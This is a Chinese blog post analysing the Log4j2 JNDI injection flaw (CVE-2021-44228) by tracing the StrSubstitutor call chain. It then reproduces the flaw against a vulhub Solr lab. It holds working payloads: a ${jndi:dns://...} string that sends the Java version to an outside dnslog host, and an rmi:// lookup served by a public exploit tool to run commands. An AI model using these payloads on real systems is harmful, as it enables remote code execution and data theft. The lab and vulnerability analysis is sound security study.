- Log4j2漏洞原理
- 漏洞根因
- 呼叫鏈原始碼分析
- 呼叫鏈總結
- 漏洞復現
- dns
- rmi
- 漏洞根因
Log4j2漏洞原理
前排提醒:本篇文章基於我另外一篇總結的JNDI注入後寫的,建議先看該文章進行簡單瞭解JNDI注入:
https://blog.csdn.net/weixin_60521036/article/details/142322372
提前小結說明:
Log4j2(CVE-2021-44228)漏洞造成是因為 透過MessagePatternConverter類進入他的format函式入口後需匹配判斷是否存在${,若存在進入if後的workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,最終走到了lookup函式進行jndi注入。
那麼我們待會分析就從MessagePatternConverter的format函式開始剖析原始碼。
漏洞根因
參考了網上的文章後,總結發現其實只需要理解最關鍵和知道幾個函式呼叫棧就能夠理解log4j漏洞是怎麼造成了。
呼叫鏈原始碼分析
1.首先是打點走到MessagePatternConverter的format函式,這裡是事故發生地。
2.看黃色框,進入if,log4j2漏洞正式開始
3.注意看這裡是匹配 $
和 {
這裡真就匹配這兩個,不要覺得說不對稱為啥不多匹配一個}
,就是找到你是否用了${}
這種格式,用了的話就進到裡面做深一步的操作。
(注:這裡不會做遞迴,假如你 ${${}}
,遞迴那一步需要繼續看我後面的解釋)
4.看黃色框,workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,這裡有兩點很重要,getStrSubstitutor
和replace
。
先進行getStrSubstitutor,獲取一個StrSubstitutor的物件,接著StrSubstitutor執行replace方法。
5.這裡需要跟進replace方法,他會執行substitute
方法。substitute
函式很重要,需要繼續跟進他。
6.進到substitute
裡面他主要做了以下操作
- 1.
prefixMatcher.isMatch
來匹配${
- 2.
suffixMatcher.isMatch
來匹配}
如果說匹配到存在${xxx}
這種資料在的話,就進入到遞迴繼續substitute執行,直到不存在${xxx}
這種資料為止。(這裡就是為了解決${${}}
這種巢狀問題),那麼這裡也就解決了上面說為啥一開始進入format函式那裡,只匹配${
而不匹配完整的${}
的疑惑了,進入到這裡面才會繼續判斷,而且還能幫你解決${${}}
這種雙重巢狀問題。
7.這個substitute遞迴完出來後或者說沒有繼續進到substitute裡面的話,下一行程式碼就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}
其中的xxxx資料。
注意是取出來你${xxx}
裡面xxx資料,這裡還沒進行jndi的注入解析,所以不是解析結果而是取出你注入的程式碼。
8.進if裡就是 取varName與varDefaultValue
,檢測:和-為了分割出來的jndi與rmi://xxxx。這裡不是說真的開發者故意寫個函式去為了分割我們的惡意程式碼,而是這個功能就是這樣,恰好我們利用了他而已。這裡的函式就不跟進了,瞭解他就是進行了分割即可,拿到varName與varDefaultValue
。
注:再提醒一次,當我們傳入的是jndi:rmi://xxxx的時候,這裡的varName與varDefaultValue
取出就是jndi
和後面的rmi://xxxx
9.程式碼再往下走到會看到String varValue = resolveVariable(event, varName, buf, startPos, endPos);
,這裡我們需要跟進resolveVariable才能繼續深入看到jndi的執行。
10.到了這裡終於看到lookup字眼了。
首先你需要知道:resolver = getVariableResolver() 是獲得一個實現StrLookup介面的物件,命名為resolver
其次看到後面return resolver.lookup(event, variableName); 這裡就是返回結果,也就是說這裡lookup是執行了結果返回了,為了更加有說服力,這裡就繼續跟進lookup看他是怎麼執行的,畢竟這裡的jndi注入和之前不同,多了jndi:
,而不是傳統的直接使用rmi://xxxx
。
11.這裡可以看到透過prefix
取出:
前的jndi
,然後再取出後面的rmi://xxxx
那麼也就說這個lookup函式體內部作用是透過:字元分割
,然後透過傳入jndi
四個字元到strlookupmap.get
來找到jndi訪問地址
然後擷取到後面的rmi
用找到的jndi訪問地址
來lookup
,那麼最後可以看到就是拿到jndi的lookup物件去lookup查詢。
到這就分析結束了。
substitute
函式體裡部分程式碼如下所示:
(沒有第11步的lookup函式體原始碼,下面是關於substitute
的程式碼)
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用來匹配是否前兩個字元是${
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker,如果來到這裡的話那麼就說明了匹配到了${字元
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix,尋找字尾}符號
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length()); // 遞迴呼叫
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
// 如果檢測到其中還有:和-的符號,那麼會將其進行分隔, :- 面的作為varName,後面的座位DefaultValue
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
// resolve the variable
//上面的一系列資料檢測都完成了之後接下來就是解析執行這段資料了,這裡是透過resolveVariable方法
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}
// remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
呼叫鏈總結
約定:呼叫鏈每進一層函式就會加一個回車,我這裡沒有按照全限定名稱來寫,為了方便理解,加一個回車表示進入到函式的內部。
大白話總結:
下面是截圖的原始資料
呼叫鏈
MessagePatternConverter的format函式
↓
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
↓
config.getStrSubstitutor()
↓
config.getStrSubstitutor().replace()
↓
substitute
↓
1.prefixMatcher.isMatch來匹配${
2.suffixMatcher.isMatch來匹配 }
↓
進行一個判斷 當上面1 2兩點都符合的話, 進入substitute遞迴呼叫
這裡就是為了解決${${}}這種巢狀問題。
↓
遞迴完下一行程式碼就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx資料
↓接著走到這段程式碼-> if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0)
進if裡就是 取varName與varDefaultValue ,檢測:和-為了分割出來的jndi與rmi://xxxx
(這裡不是說這麼巧為了分割我們的惡意程式碼,而是這個功能就是這樣,恰好我們利用了他而已)
↓
程式碼再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos);
進入resolveVariable函式里
↓
resolver = getVariableResolver() 獲得一個實現StrLookup介面的物件
後面就return resolver.lookup(event, variableName); 這裡就是返回
↓
接著這裡繼續跟進resolver.lookup的呼叫的話,這個lookup函式體內部作用是透過:字元分隔
然後透過傳入jndi四個字元到strlookupmap.get來找到jndi訪問地址然後擷取到後面的rmi用jndi訪問地址來lookup
漏洞復現
vulhub找到log4j開一個CVE-2021-44228靶場
dns
- 先用dns協議進行jndi注入看是否存在log4j漏洞
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI傳送DNS請求的Payload,自己修改example.com為你自己的dnslog域名
http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}
接著檢視我們的dnslog日誌,發現確實存在log4j漏洞
rmi
那麼現在開始進行rmi或者ldap攻擊了
這裡就直接使用利用工具:
https://github.com/welk1n/JNDI-Injection-Exploit
開啟惡意伺服器:
設定好-C執行的命令
(-A 預設是第一張網路卡地址,-A 你的伺服器地址,我這裡就預設了)
接著先檢視下容器內不存在/tmp/success_hacker
檔案,因為我們-C寫的是建立該檔案
接著就可以進行rmi攻擊了,複製上面搭建好的rmi服務:rmi://xxxxxxxxx:1099/dge0kr
再次檢視就會發現已經建立成功了
PS:如果沒有成功的話就多試幾個rmi或者ldap服務地址,jdk8還是jdk7都試一下,以前我講錯了以為是1.7和1.8是本地開啟工具使用的jdk版本,其實是目標伺服器的jdk版本,所以還是那句話,都嘗試一下就行,反正我們前面已經用dnslog拖出資料了,證明了是存在漏洞的。
參考文章:
https://www.cnblogs.com/zpchcbd/p/16200105.html
https://xz.aliyun.com/t/11056